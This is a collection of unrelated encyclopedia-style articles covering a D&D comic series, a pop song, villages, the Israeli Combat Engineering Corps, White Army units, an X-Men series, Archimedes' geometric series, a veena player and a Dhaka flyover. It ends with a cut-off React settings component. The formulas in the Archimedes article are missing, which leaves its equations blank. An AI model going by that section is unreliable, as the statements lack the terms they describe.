Vajra confronts her past as a slave and gladiator in the Arena of Blood. Meanwhile, a boy under Connor's protection is kidnapped.
Kyriani's Story. #17-18
The story of Priam's half-sister (and half-elf): Kyriani.
Phases of the Moon. #19-22
Selune, goddess of the moon, has arrived at Waterdeep. Ties in with the Avatar novels by Richard Arlinson.
Lawyers! #23
Onyx the dwarf owes a debt to the mysterious Lawyers and not even the mighty wizard Khelben and the Lord of Waterdeep himself, Peirgeiron, may be able to help him.
Scavengers. #24-26
After a vicious battle with a band of savage orcs, Timoth is badly wounded and will die soon if he cannot reach a healer. Vajra, also wounded, must somehow trek through the merciless blizzard with her centaur friend in tow if they are to survive to fight another day.
Death and the Dragon's Eye. #27-30
Kyriani is on the run from the law, accused of a murder she did not commit.
Pillar of Gold. #31-32
Onyx the Invincible is reunited with his long thought dead father. They embark on an quest to unearth a lost treasure said to be located somewhere in the bowels below Waterdeep.
Summer in the City. #33
When the warrior, Vajra, and the centaur, Timoth, engage in a friendly arm-wrestling bout the stakes become even greater than anyone could have hoped to realize.
Rites and Wrongs. #34-36
Conner returns to Waterdeep with the scam to end all scams. Against her friends' better judgement, Vajra embarks on this one last quest with the rogue who has both betrayed and saved her life time and again. Timoth and Onyx mount a desperate rescue attempt to save Kyri.
Characters
Main characters
Priam Agrivar
A human paladin with a past addiction to alcohol
Vajra Valmey Jar
A female human fighter and former slave gladiator, who survived the Manshaka Arena of Blood
Onyx the Invincible
Male dwarf fighter/thief and best friend of Timoth
Timoth Eyesbright
Male centaur fighter and friend of Onyx
Cyriana of Shadowdale
Half-Elf Magic User
Connor
Human rogue with a shady past
Other characters
Kyriani
Female half-elf/half-drow, half sister to Priam
Khelben "Blackstaff" Arunsun
appeared in the Advanced Dungeons & Dragons comic book as a friend, ally and occasional manipulator of the Waterdeep-based main characters.
Selûne
Minor goddess. Appeared as a supporting character in the series, masquerading as "Luna", the proprietor of an inn called "Selune's Smile". Appearing mostly as a background character and occasional deus ex machina for the main story, her true identity was eventually discovered by all of the series' primary characters. In the series' finale, Luna fully reclaimed her godly might (hidden behind an attic door within "Selune's Smile"), and ascended to the realms of the gods, bequeathing ownership of her inn to one of the series' leads.
References
External links
AD&D Comic Book Covers
Comics by Michael Fleisher
DC Comics titles
Dungeons & Dragons comics
Forgotten Realms |
"Bottoms Up" is a song by American singer Trey Songz. It was produced by Kane Beatz and features rapper Nicki Minaj. The song serves as the lead single from his fourth studio album, Passion, Pain & Pleasure. It is his most successful single to date, peaking at number 6 on the Billboard Hot 100.
Background
The song was intentionally leaked on July 13, 2010, and to celebrate the release of the song, Songz discussed the song with Minaj on Ustream.
In the webcast, Songz explained how the collaboration came together, stating: "I'm in L.A. for BET Awards weekend, I'm working on a couple records, and I do this song called 'Red Lipstick,' and then I do 'Bottoms Up' the next day. I hit Nicki and I'm like, 'Man, I've got these two incredible records, I think one of them is gonna be my first single, and I need you to do it. Can you come this weekend? Can you come down?' I stayed a couple extra days and she came through. Two, three days later I got a verse back that was just stupid."
Songz then addressed Minaj directly, stating, "I fell in love with you. When I heard the verse, I was like, 'Oh my shit, I love her. She killed it.'" Minaj also stated that she had been asked several times when she would do a song with Trey Songz, and said when Songz contacted her she said she thought "This is our time". When directing to Songz and also speaking to fans on her verse, the tribute to the late Anna Nicole Smith, and appearing as her alter-egos Roman Zolanski, and Harajuku Barbie, she said: "I kept on hitting you like, 'I'mma have it done today.' I think I did live with it for, like, three days because I was changing it up, I couldn't get it. But then, all of a sudden, something just hit me. I was gonna take that part out [the Anna Nicole Smith part] because I was like, 'Trey is gonna think I'm crazy.' Roman is very spastic. Roman is crazy and Roman is weird and Roman doesn't care.... The person on DJ Khaled's 'All I Do Is Win' remix, that's Nicki, and the person on 'Bottoms Up,' that's Roman."
Composition and critical reception
"Bottoms Up" features a "bass-thumping" beat. Nicki Minaj appears in the song as herself, and her alter-egos, Roman Zolanski, and Harajuku Barbie. Minaj delivers her lines as in cartoonish voices and inimitable baby-talk, distorting her voice in parts to sound tipsy. Minaj also sings breathily and references Anna Nicole Smith, and biblical figures Mary and Joseph. Like his previous song, "Say Aah", according to Chris Ryan of MTV Buzzworthy, "is about the joys of enjoying a frosty beverage at the nightclub of your choosing." Ryan also said the song had an R. Kelly vibe to it. Ryan also gave the song a positive review, stating, "Trey Songz, sex inventor. Nicki Minaj, Harajuku Barbie. A duet between the two. It's getting hot in herre." WERQ-FM gave the song a positive review, commending Minaj's cameo. BET Sound Off said, "two of the hottest things in the industry have teamed up for what might be a contender for the hottest joint of the 2010 Summer", commenting, "THIS ish right here is the perfect anthem for happy hour, the end of a hard day at work or even a stressful situation. Maybe it's the pounding kicks that keep my head nodding. Or, maybe it's the infectious hook 'Bottoms Up, Bottoms Up.'" Andy Kellman of AllMusic called it "shamelessly mindless". Mariel Concepcion of Billboard gave the song a positive review, praising Minaj's role, stating, Songz' part "fades in to the background" and that "Minaj steals the spotlight with a layered, almost cartoonish 16-bar verse that injects the track with much-needed liveliness and creativity", showing "more personality in 45 seconds than most rappers do in an entire song, balancing an aggressive attitude with her gentler side." The Washington Posts Sean Fennessey described the song as "gleeful, kinetic" and viewed that Songz is outperformed by Minaj, writing "[she] supplies a brilliant extended cameo on the song, and as she has on nearly all of her guest appearances this year, changes tempo, tone and persona in thrilling flashes".
"Bottoms Up" is set in common time with a moderate tempo of 82 and is in the key of C minor.
Music video
The music video was directed by Anthony Mandler and filmed on July 31, 2010. A sneak peek to the music video was released August 16, 2010. The video provides dark, carnival-esque visuals to this club record.
Trey commented on the music video in an interview with MTV stating, “‘Bottoms Up,’ I feel, is a very creative video. [It's] different from the norm, different than what I feel is expected of me and anything I’ve shot for that matter. It’s as if I’m walking through some kind of funhouse, filled with women and different seductive things. The music video premiered on August 17, 2010 on 106 & Park while Songz hosted the show with Rocsi.”
The video premiered on BET's 106 & Park on August 17, 2010. The video features Trey Songz walking around and performing in front of girls who are behind glass walls dancing erotically. Throughout the video Trey sits on chairs and holds bottles of alcohol. Right before Nicki's verse, Trey is seen in a club with the girls that were behind the glass. Nicki performs her verse as her alter-egos Roman and Barbie, in a corner of a room and as one of the girls behind the glass windows with belts. The entire verse is shown in a spastic movement until the end of her verse where she grabs her breasts and yells at the camera. By the end of the video Trey is shirtless and Nicki flirts promiscuously towards the camera. The video ends with Nicki/Roman/Barbie blowing a kiss at Trey.
Live performances
Minaj has performed her verse on her Pink Friday Tour and her Pink Friday: Reloaded Tour.
Charts
Weekly charts
Year-end charts
Certifications
Release history
References
2010 singles
Trey Songz songs
Nicki Minaj songs
Music videos directed by Anthony Mandler
Song recordings produced by Kane Beatz
Songs written by Nicki Minaj
Songs about alcohol
Songs written by Trey Songz
Songs written by Chef Tone
Songs written by Kane Beatz
2010 songs
Cultural depictions of Anna Nicole Smith |
Beharia is a village in Suri II Block of the Birbhum district in West Bengal. It is administered by Purandarpur gram panchayat. The total area of the village is 221.2 hectares.
Demographics
The Beharia village has a population of 707 of which 360 are males while 347 are females as per Population Census 2011. Male literacy rate of Beharia village is 81.53% and female literacy rate is 65.42% averaging 73.73% literacy rate.
Education
There is a government owned primary school Kalitala Behira Primary School.
Culture
There is a temple named Behira Nimbo-basini Kalitala Mondir.
References
External links
Villages in Birbhum district |
The Israeli Combat Engineering Corps (, Heil HaHandasa HaKravit) is the combat engineering forces of the Israel Defense Forces.
The Combat Engineering Corps beret's color is silver and its symbol features a sword on a defensive tower with an explosion halo on the background. The Combat Engineering Corps mottos are "Always First" (ראשונים תמיד Rishonim Tamid) and the unofficial "The hard, we shall do today; the impossible, we shall do tomorrow".
Its roles include mobility assurance, road breaching, defense and fortifications, counter-mobility of enemy forces, construction and destruction under fire, sabotage, explosives, bomb disposal, counter-weapons of mass destruction (NBC) and special engineering missions.
In addition to Combat Engineering Corps sappers, each infantry brigade has an engineering company trained with basic engineering and explosive ordnance disposal (EOD) skills (called פלח"הן). Combat Engineering Corps sappers and heavy equipment operators are often attached to other units (such as armored or infantry brigades) in order to help them breach through obstacles and handle explosive threats.
Roles
Beside extensive training in basic combat engineering, combat engineers receive specialized training in their respective professions. These are:
Sapper: trained with all the basic engineering skills and also trained at high infantry level (רובאי 07). Their main role is to breach through terrain obstacles (natural and artificial), breach through minefields and enable ground forces to advance in the battlefield. They are trained to supply close combat support for both armored fighting vehicles and infantry. Some of them are trained in driving the Combat Engineering Corps standard CEV: the IDF Puma. They professional ranks after advanced training are Rifleman 07 (רובאי 07) and Sapper 06 (פלס 06).
Engineering Vehicles Operator (EVO): less combatant but nonetheless important, these soldiers are skilled in the operation of heavy mechanical equipment and engineering vehicles such as heavy bulldozers, excavators, cranes, tractors and mine-breaching devices. EVO units are called צמ"ה (Tzama) in Hebrew, acronym of Tziyud Mechani Handasi (Mechanical Engineering Equipment). They professional ranks are Rifleman 05 (רובאי 05) and EVO Operator 07 (מפעיל צמ"ה 07).
Bulldozer Operators: belong to the EVO, these soldiers are operating the IDF Caterpillar D9 armored bulldozers, including under heavy fire. Their roles are versatile and differ according to the units to which they are attached. The D9 operators perform construction, destruction, breaching and EOD missions while assisting tanks, infantry and even special forces during battle.
NBC Disposal: called "purifiers", they are expert in handling nuclear, biological and chemical threats.
EOD experts: the EOD are experts in nondestructive detonation of explosives and bomb disposal. Among their equipment are the Barrett M82A1 and remote-control EOD robots with shotguns and mechanical arms. The EOD are the military equivalent of the police's bomb squad. In the IDF, they are a part of the elite Engineering unit Yahalom.
Demolition experts: they are specially trained in blowing up targets in the most accurate and effective way. They explode targets ranging from cellular phones and doorlocks up to tanks and large buildings. In the IDF, the demolition experts are united in Sayeret Yael of Yahalom (Sayeret is the Hebrew term for a SF elite unit) and therefore gain high infantry training as well.
Fortification experts: assigned to designing and overseeing the construction of bases, outposts, bridges and fortifications. Construction itself is usually done by the EVOs.
Counter-Tunnels experts: established in 2003 by the late Captain Aviv Hakani, these Combat Engineering Corps soldiers are experts in finding smuggling tunnels and weapon caches, and demolishing them. They operated in Rafah during the al-Aqsa Intifada and received recommendation of honor for their activity. After 2004 APC incident the Rafah tunnel team was united with the Combat Engineering Corps elite unit Yahalom and was renamed Sayeret Samur ("Samur" means "Weasel" in Hebrew).
Units
Combat Engineering Battalions
Asaf 601 אסף
HaMachatz 605 המחץ
Lahav 603 להב
Reserve Battalions
Command's Engineering Units
North
Center
South
Special Engineering Vehicles (TZAMA צמ"ה) units
Knights of Steel אבירי הפלדה – Tzama Gaza South
Steel Cats חתולי הפלדה – Tzama Gaza North
Wild Cats חתולי הבר – Tzama Yeuda and Shomron
Beit Hilel בית הלל – Tzama North
Cliffs Cats, Tzama Sdira – חתולי הצוקים, צמ"ה סדירה
Yahalom – special engineering unit
Sayeret Yael – engineering commando
SAP – EOD and bomb disposal
SAMUR – counter-tunnels
Hevzek – Robotics
Military Engineering School (Bahalatz 14) – "Tzukey Uvda" – "בית הספר להנדסה צבאית – בהל"צ 14 – "צוקי עובדה
Counter-NBC and purifiers (closed and transferred to (Home Front Command)
Counter-NBC battalion 76
Yanshuf – NBC training center
Equipment
Personal gear
The Israeli combat engineers and sappers are combat soldiers and therefore have a personal gear and weapons as infantry soldiers. Their issued rifle is the M-16A1 (short 13/14-inch barrel) and M4 Carbine. Other weapons include hand grenades, M203 grenade launcher, IMI Negev, FN MAG and M2 Browning machineguns and M24 SWS and Barret M82A1 sniper rifles.
Vehicles
The combat engineering soldiers are mobilized by APCs and armored 4×4 vehicles.
The Armoured personnel carriers include the Centurion tank-based IDF Puma, a heavy combat engineering vehicle equipped with engineering devices such as mine plows. Reserve forces use the old and versatile M113 APC. In 2016 the 603rd Combat Engineering Battalion ("Lahav") started to receive IDF Namer Combat engineering vehicle based on the Namer APC.
Wheeled armored vehicles include the HMMWV ("Hummer"), Wolf Armoured Vehicle and M240 Sufa.
Heavy equipment
The Combat Engineering Corps operates heavy equipment and engineering vehicles (called TZAMA in Hebrew) such as armored bulldozers, armored excavators, armored wheeled loaders, armored backhoe loaders and more. The best known tool is the heavily armored IDF Caterpillar D9 bulldozer.
Mine breaching devices
The Combat Engineering Corps has different means to breach fast through mine fields. These include personal sapper gear, vehicle-mounted mine plows and mine rollers which can be attached to engineering vehicles and tanks, CARPET air-fuel rockets and the "Tzefa Shiryon" (Hebrew for "Armor's Viper") which is extremely powerful and can clear large mine fields.
Explosives
The Combat Engineering Corps has a wide range of explosives, demolition charges and different land mines.
Robots
Yahalom SF Unit operates many types of robots, including bomb disposal robots, reconnaissance robots and remote-controlled heavy equipment (such as "Raam HaShachar" D9N bulldozer, and the "Front-Runner" mini-cat loader).
NBC
Counter-NBC soldiers are equipped with protective suits and gas masks, chemical ID systems and purification vehicles.
Gallery
History
Founding
The Combat Engineering Corps has a record of professional achievement and decoration. Its best known operation is the bridging of the Suez Canal during the Yom Kippur War.
The corps was formed from the sabotage unit of the Palmach and the tractor operators units of the 1947–1949 Palestine war. In its early years, the Combat Engineering Corps drew its soldiers mainly from Jews who had served in the United Kingdom's Royal Engineers.
ICEC chief engineer, Brigadier General David Leskov (not to be confused with Chief Engineering Officer קצין הנדסה ראשי, the commander of the ICEC), developed many combat engineering systems for the Israel Defense Forces, and won three Israel Security Prizes. He served in the IDF until his death at the age of 86, thus being the oldest soldier in the world.
In Israel's wars
In the 1947–1949 Palestine war, the Combat Engineering Corps blasted bridges over the Jordan River and the streams of the southern Coastal plain in order to stop the advance of the Arab armored forces into the Israeli civilian rear. The Combat Engineering Corps also helped in breaching the "Burma Road" into besieged Jerusalem.
In the 1956 Sinai war, the Combat Engineering Corps destroyed Egyptian military infrastructure in the Sinai Peninsula and was awarded with a battalion recommendation of honor.
In the 1967 Six-Day War the Combat Engineering Corps stormed Jordanian fortifications along the walls of the Old City of Jerusalem. After Israel annexed the Old City, the Combat Engineering Corps removed landmines planted in the city by the Jordanians. This was the first war in which Caterpillar D9 bulldozers were employed by the corps.
After the war, the Combat Engineering Corps helped to build a fortification line of defense along the Suez Canal and were awarded the Israel Security Prize in 1969. The Israeli Engineering Corps were the first corps to win the award.
In the 1973 Yom Kippur War the combat engineering battalions attached to Ariel Sharon's armored division bridged the Suez Canal during "Operation Knights of Heart", while carrying tanks and paratroopers across the canal with Gillois amphibious tank-carriers. This effort enabled Sharon and Avraham "Bren" Adan's armored divisions to cross the canal and surround the 3rd Egyptian Army, forcing it to surrender. The bridging of the canal is regarded by many as the turning point of the war on the southern front. On the northern front, a Combat Engineering Corps Caterpillar D9 bulldozer was the first ever motorized vehicle to reach the summit of the Hermon.
In Operation Peace for Galilee the Combat Engineering Corps worked intensively to open routes for Israeli forces. Their duties also included the disarming landmines and Improvised explosive devices as well as building fortifications and outposts.
In the 1991 Gulf War, the NBC purifiers of the Combat Engineering Corps were on a "code red" alert for disarming Iraqi Scud missiles, armed with non-conventional warheads.
The October 2000 Lebanon abduction
On 7 October 2000 three Israeli combat engineering soldiers were abducted by Hezbollah from the Shebaa Farms, in the Golan Heights. The soldiers, Beni Avraham, Adi Avitan and Omar Sawaed, suffered fatal injuries during their abduction. Their bodies were retrieved in 2004 in a prisoner swap with Hezbollah.
A series of accusations were made against the United Nations Interim Force in Lebanon (UNIFIL) by press and partisan web sites for having cooperated with the abduction. Those accusations stem from a video, whose existence was originally denied by UN officials, recorded by Indian peacekeepers one day after the abduction. The video, which the UN agreed to provide to Israeli officials in June 2001 with civilian faces blurred, showed abandoned vehicles with fake UN license plates and uniforms, and Hezbollah supporters intercepting UN efforts to retrieve the vehicles. A UN investigation found no evidence to support accusations of peacekeepers involvement in the abduction. Although the bereaved families met with Kofi Annan, they refused to accept the UN version. In September 2004, the bereaved families announced their intention to sue the UN, Hezbollah, Iran, Syria and Lebanon for their parts in the abduction.
The Second Intifada
For further discussions see: al-Aqsa Intifada, IDF Caterpillar D9, Operation Defensive Shield, Battle of Jenin 2002, Operation Rainbow.
During the al-Aqsa Intifada, which erupted in September 2000, the Combat Engineering Corps were employed to disarm many Palestinian IED explosive charges and booby traps. In many cases, the Combat Engineering EOD operators, together with Israeli Police bomb disposal operators, also detonated explosive belts captured on Palestinian suicide bombers. The Combat Engineering Corps also dynamited Palestinian houses, bomb labs and smuggling tunnels.
However, the Combat Engineering Corps were most known for operating the armored IDF Caterpillar D9 armored bulldozers, which are cited by many Israelis and military experts as a key factor in keeping IDF casualties low and successfully fighting terrorism. On the other side, for Palestinians, the bulldozers became a nightmare, as they bulldozed many Palestinian buildings and shrubbery, and were almost impervious to Palestinian attacks. The Combat Engineering Corps bulldozers' operators unit received a recommendation of honor for its activity in Jenin during Operation Defensive Shield.
Armored bulldozers were also massively employed in Rafah to counter terrorist smuggling tunnels. Human Rights Watch published a report criticizing the extensive destruction of Palestinian houses in the southern Gaza strip, and said it was unlawful, claiming that Israel uses the Palestinian smuggling tunnels as a pretext to create a "buffer zone" along the Gaza-Egypt border. In Rafah, the Combat Engineering Corps formed a special unit, designated for searching and destroying smuggling tunnels, it is called SAMUR and now belongs to Yaalom. They also received an honor of recommendation, for their conduct. Until the Gaza Disengagement plan, the Combat Engineering 603 battalion's reconnaissance platoon (מחס"ר) held a record of over 70 terrorists killed in 2004–2005 on the border between the Gaza Strip and Israel. They received a recommendation of honor for this achievement.
Second Lebanon War
The Combat Engineering Corps took significant part in the Second Lebanon War that erupted in 2006 after Hizbullah attacked IDF patrol, abducted two soldiers and killed another 8 with anti-tank missiles and improvised explosive devices that hit the rescuers.
On 16 July combat engineering forces from Asaf battalion were the first to enter Lebanon. Their mission was to clear improvised explosive devices, open safe routes to ground forces and demolish Hizbullah infrastructures. Yahalom bomb disposal experts and IDF Caterpillar D9 bulldozers cleared most of Hizbullah's IEDs. During the war, a D9 went over a 500 kg belly charge improvised explosive devices but survived without taking significant damage.
During the war, combat engineers used bulldozers and explosives to destroy Hezbollah outposts, bunkers, warehouses and HQs—mainly along the border. The works intensified as the war reached near end, and indeed the borderline was cleared in time.
Combat engineers also rescued damaged tanks, often under fire.
Two combat engineers were awarded with Medal of Distinguished Service and other two awarded a recommendation of honor from the General Chief of Staff. Many other awarded with recommendation of honor from less senior commanders.
Operation Cast Lead
During the Gaza War (2008–2009) codenamed "Operation Cast Lead" by the IDF, combat engineering forces were the first to enter the Gaza Strip to clear IEDs, booby traps and open safe routes to armor and infantry.
Many booby traps, rigged structures and tunnels were present in the Gaza Strip as part of Hamas efforts to prepare to the Gaza War. These were often concealed in civilian structures, and were even found in schools and mosques. However, most of the Palestinian booby traps were successfully countered by the IDF Combat Engineering Corps bomb disposal experts (part of Yahalom Special Engineering Unit) which dismentaled the bombs and armored D9 bulldozers which detonated bombs and booby traps while sustaining no damage from the explosions. IDF Caterpillar D9R and unmanned "Raam HaShachar" D9N armored bulldozers which opened route in dangerous areas have taken many improvised explosive devices, landmines, explosive charges and RPG hits, but no crewmen were killed. However, a Yahalom bomb disposal expert was killed after entering a house and encountering a suicide bomber. He was the only fatality of the Combat Engineering Corps during the war.
Besides neutralizing Hamas IEDs and traps, combat engineering forces demolished Hamas infrastructure and other structures used as outposts, shooting positions, traps, cover for tunnels, HQs and warehouses. The head officer of the Combat Engineering Corps (קהנ"ר) estimated that about 600 buildings were bulldozed or exploded by his troops.
The Combat Engineering Corps' success heightened their reputation within the IDF and in the Israeli public. This was manifested in increased number of conscripts who chose the Combat Engineering Corps as their first priority in their draft preferation questionnaire ("Manila מנילה"—a form in which the conscript chooses in what unit he would like to serve, the IDF tries to fulfill his request as much as possible).
Operation Protective Edge
During Operation Protective Edge (July–August 2014) Combat Engineers played a major role in destroying Hamas' cross-border underground infiltration tunnels. The tunnels were exposed and cleared by armored bulldozers and excavators, and then detonated by Yahalom's Samoor unit. In total, about 32 tunnels were destroyed. In addition, combat engineers participated in the battles, neutralized Hamas-planted improvised explosive devices, cleared booby-traps, opened routes for armor and infantry, and destroyed terrorist infrastructure. Six combat engineers were killed during the battles in the Gaza Strip.
Operation Northern Shield
In late 2018 the IDF commenced Operation Northern Shield to detect, located and destroy Hezbollah tunnels dug into northern Israel from South Lebanon. The combat engineering corps played the major role in the operation, operating on ground and below it, deploying Yahalom tunnel warfare teams and heavy equipment. As for 12 January 2019, the IDF discovered 6 tunnels.
References
External links
Combat Engineering Corps, IDF official website (English)
Official website by "Palas" – Combat Engineers Association (Hebrew)
Combat Engineering page – IDF's Ground Command website (Hebrew)
Combat Engineering Corps – Israel Defense Forces YouTube channel, 2011
Captain Aviv Hakani
Military engineer corps
Military units and formations established in 1947 |
Markovtsy was the name of the military units of the Volunteer Army (later the Armed Forces of the South of Russia and the Russian Army), who received the patronage of one of the founders of the White Movement in southern Russia of the General Staff of Lieutenant General Sergei Markov.
The date of formation of the first Markov unit – the 1st Officer General Markov Regiment – November 17, 1917 – the day General Alekseyev visited Novocherkassk Infirmary No. 2 on Barochnaya Street, after which the Joint–Officer Company was organized from the first volunteers.
In November 1917, the artillery unit was also created, which subsequently received the patronage of General Markov. It, created from the cadets of the Mikhailovsky and Konstantinovsky artillery schools, subsequently served as the basis for the Artillery General Markov brigade.
With the beginning of the First Kuban Campaign in the village of Olginskaya, the Volunteer Army was reorganized by converting small detachments into larger units. Among the newly formed was the Combined Officer Regiment, which later received the nominal patronage of its first commander, General Markov.
During the campaign, the future artillery of the Markovites was also reorganized: the 1st Separate Light Artillery Division was disbanded, and the 1st Officer Battery, which was part of it, after the 4th Battery of the division was included in it, was called the 1st Separate Battery as part of the 1st Infantry Brigade.
In mid-March 1918, on the basis of the Technical Company formed in December 1917, the 1st Engineering Company, which entered the 1st Brigade, was organized. She received the patronage of General Markov on December 21, 1919.
After the death of General Markov at the very beginning of the Second Kuban Campaign, by order of the commander of the Volunteer Army, the 1st Officer Regiment was renamed the 1st Officer General Markov Regiment.
During the Second Kuban Campaign, the Markov artillery was reorganized again: on July 21, 1918, the 1st Separate Battery was deployed into the 1st Separate Light Artillery Division as part of the 1st Infantry Division.
On August 20, the 1st Battery receives the patronage of General Markov and the name of the 1st Officers General of Markov Battery.
In May 1918, another unit was formed, which later received the name "Markov". In accordance with the request of General Markov, a hundred Kuban Cossacks were allocated from the Horse Brigade, called the Separate Horse Hundred at the 1st Infantry Brigade. Cossacks sewed black "Markov" epaulettes, and a hundred began to be unofficially called "Markov".
After the capture of Orel, the Markov regiments were separated from the 1st Division and entered the created Markov Division.
In December 1919, the Markov division almost completely died during the retreat from Kharkov in front of the superior Red forces in a battle near the village of Alekseevo-Leonovo of the Don Host Oblast.
Already in the Crimea in the Russian Army of General Baron Pyotr Wrangel, in the Markov Division, by order of the Commander-in-Chief No. 3517 of September 3, 1920, the Equestrian General Markov Division was formed from the Separate Horse Hundred.
Military uniform of Markovites
The black shoulder straps of the Markov units completely repeated the shoulder straps of the shock units of the Russian Imperial Army of 1917. The black form of the Markovites symbolized Death and the readiness to die for Russia, and the white cap of the cap meant Cleanliness and Resurrection of the Homeland.
Sources
"Markov and Markovites". Moscow: Non-Profit Partnership Sowing, 2001.
White movement
Military units and formations of White Russia (Russian Civil War) |
X-Men: The 198 is a comic book limited series that was published by Marvel Comics and set in the Marvel Universe shortly after the House of M and Decimation events. The five-issue series began publication in January 2006.
The series focuses on the supporting cast of the X-Men, whose ranks have been severely depleted following Decimation.
Plot
In House of M #7, the Scarlet Witch removes the powers of the overwhelming majority of the world's mutants in an event, eventually called "M-Day". As a reaction, the United States government forms a superhuman-monitoring Office of National Emergency (ONE), and sets up a team of human-piloted Sentinel robots (Sentinel Squad ONE) to monitor the Xavier Institute. X-Men: The 198 revolves around the tension and conflicts of the 198 mutant refugees on the Xavier Institute grounds and the Sentinel Squad ONE. Tensions also rise between X-Men.
Xavier's Mansion Mutant Sanctuary
After the events of Decimation, many of the remaining mutants sought refuge at the Xavier Institute. Due to the suggestion of Erg, they are referred to as The 198. These include the following:
The list excludes Xavier Institute staff members and the remaining student body as well as the Sentinel Squad O*N*E.
The 198 Files
The 198 Files is a database maintained by O*N*E that attempts to classify and provide intelligence on the mutants whose powers remained after M-Day. The one-shot X-Men: The 198 Files is set in the style of a government dossier and sent to O*N*E's deputy director Valerie Cooper. It provides the classification of 134 of the 198 mutants supposedly unaffected by M-Day and was released in January 2006 as a counterpart to the five-part limited series The 198 which shows the conflict of the remaining mutants seeking refuge at the Xavier Institute, and the Sentinel Squad O*N*E.
Bibliography
X-Men: The 198 Files (January 2006)
X-Men: The 198 #1-5 (January–May 2006)
2006 comics debuts |
Sidi Taifour (Arabic: سيدي طيفور, is a municipality in El Bayadh Province, Algeria.
References
Communes of El Bayadh Province |
In mathematics, the infinite series is an example of one of the first infinite series to be summed in the history of mathematics; it was used by Archimedes circa 250–200 BC. As it is a geometric series with first term and common ratio , its sum is
Visual demonstrations
The series lends itself to some particularly simple visual demonstrations because a square and a triangle both divide into four similar pieces, each of which contains the area of the original.
In the figure on the left, if the large square is taken to have area 1, then the largest black square has area × = . Likewise, the second largest black square has area , and the third largest black square has area . The area taken up by all of the black squares together is therefore , and this is also the area taken up by the gray squares and the white squares. Since these three areas cover the unit square, the figure demonstrates that
Archimedes' own illustration, adapted at top, was slightly different, being closer to the equation
See below for details on Archimedes' interpretation.
The same geometric strategy also works for triangles, as in the figure on the right: if the large triangle has area 1, then the largest black triangle has area , and so on. The figure as a whole has a self-similarity between the large triangle and its upper sub-triangle. A related construction making the figure similar to all three of its corner pieces produces the Sierpiński triangle.
Proof by Archimedes
Archimedes encounters the series in his work Quadrature of the Parabola. He finds the area inside a parabola by the method of exhaustion, and he gets a series of triangles; each stage of the construction adds an area times the area of the previous stage. His desired result is that the total area is times the area of the first stage. To get there, he takes a break from parabolas to introduce an algebraic lemma:
Proposition 23. Given a series of areas , of which A is the greatest, and each is equal to four times the next in order, then
Archimedes proves the proposition by first calculating
On the other hand,
Subtracting this equation from the previous equation yields
and adding A to both sides gives the desired result.
Today, a more standard phrasing of Archimedes' proposition is that the partial sums of the series are:
This form can be proved by multiplying both sides by 1 − and observing that all but the first and the last of the terms on the left-hand side of the equation cancel in pairs. The same strategy works for any finite geometric series.
The limit
Archimedes' Proposition 24 applies the finite (but indeterminate) sum in Proposition 23 to the area inside a parabola by a double reductio ad absurdum. He does not quite take the limit of the above partial sums, but in modern calculus this step is easy enough:
Since the sum of an infinite series is defined as the limit of its partial sums,
Notes
References
Page images at HTML with figures and commentary at
Geometric series
Proof without words |
Mysore Venkatesha Doreswamy Iyengar (1920-1997) was a Carnatic musician and one of the greatest exponents of the veena in modern Indian history.
Early life
He was a son of Venkatesha Iyengar, a learned vainika and royal musician at the court of the Princely State of Mysore.
Iyengar started learning the veena from his father at an early age and soon became a disciple of Veena Venkatagiriyappa. He performed in the presence of the then Maharaja of Mysore at the age of 12. Spellbound, the Maharaja presented him with a fifty-rupee silver coin. Iyengar received a BA degree from Maharaja's College, Mysore.
Career
He gave his first public performance in 1943 at the Bangalore Gayana Samaja. He participated in music conferences including one in Shiraz, Iran, in 1969, where he was also invited to perform at the Shiraz Persepolis Festival of Arts..
He served as the Music Director at the All India Radio in Bangalore. The University of Mysore conferred upon him an Honorary Doctorate in 1975.
In an age when most of the other vainikas had started using the contact microphone, Iyengar stuck to the ‘acoustic’ Veena. His style of playing is sometimes referred to as the Mysore Style. This distinctive style is marked by the movements from one note to another being achieved with the playing fingers (the index and middle fingers of the left hand) parted. This, along with his prolonged, medieval string plucking style enabled him to achieve the continuity of sound.
Concerts of Iyengar, accompanied by Mysore T Chowdiah on the violin, became very popular. He participated in many Jugalbandis, including with famous Hindustani classical instrumentalists such as Ustad Ali Akbar Khan. He composed music for dance dramas, notably to those of P. T. Narasimhachar. Iyengar also composed songs for a few Kannada films, notably Subbashastri, starring Kalyan Kumar. Iyengar was regularly accompanied on mridangam by V S Rajagopal. The noted vainika C. Krishnamurthy was one of Iyengar's main disciples.
Iyengar died aged 77 in Bangalore, India.
Awards
Doreswamy Iyengar was awarded the Padma Bhushan by the President of India in 1983, the Sangeetha Kalanidhi of the Madras Music Academy in 1984, the Sangeetha Kalasikhamani of the Indian Fine Arts Society in 1994, the Sangeetha Kalarathna of the Bangalore Gayanasamaja, and the Chowdiah National Memorial Award.
References
External links
Listen to Tyagaraja Compositions performed by Sri Doreswamy Iyengar
his compositions in mp3 format
1920 births
1997 deaths
Saraswati veena players
Male Carnatic singers
Carnatic singers
Musicians from Mysore
University of Mysore alumni
Maharaja's College, Mysore alumni
All India Radio people
20th-century Indian male classical singers
Recipients of the Padma Bhushan in arts
Recipients of the Sangeet Natak Akademi Award |
The Kuril Flyover is the third largest flyover in Bangladesh. Its foundation stone was laid on 2 May 2010.
Finally the work started in March 2011.
The flyover was opened on 4 August 2013.
References
Bridges and flyovers in Dhaka
2013 establishments in Bangladesh |
```xml
import type { ChangeEvent } from 'react';
import { useEffect, useRef, useState } from 'react';
import { c } from 'ttag';
import { Button, Input } from '@proton/atoms';
import { useToolbar } from '@proton/components/components/editor/hooks/useToolbar';
import { useLoading } from '@proton/hooks';
import { updateAddress } from '@proton/shared/lib/api/addresses';
import type { Address } from '@proton/shared/lib/interfaces';
import { DEFAULT_MAILSETTINGS } from '@proton/shared/lib/mail/mailSettings';
import type { EditorActions } from '../../components';
import { Editor } from '../../components';
import {
useActiveBreakpoint,
useApi,
useEventManager,
useHotkeys,
useMailSettings,
useNotifications,
} from '../../hooks';
import SettingsLayout from '../account/SettingsLayout';
import SettingsLayoutLeft from '../account/SettingsLayoutLeft';
import SettingsLayoutRight from '../account/SettingsLayoutRight';
const EMPTY_VALUES = [/^(<div><br><\/div>)+$/, /^(<div>\s*<\/div>)+$/];
const formatSignature = (value: string) => (EMPTY_VALUES.some((regex) => regex.test(value)) ? '' : value);
interface Props {
address: Address;
}
const EditAddressesSection = ({ address }: Props) => {
const [mailSettings = DEFAULT_MAILSETTINGS] = useMailSettings();
const api = useApi();
const { call } = useEventManager();
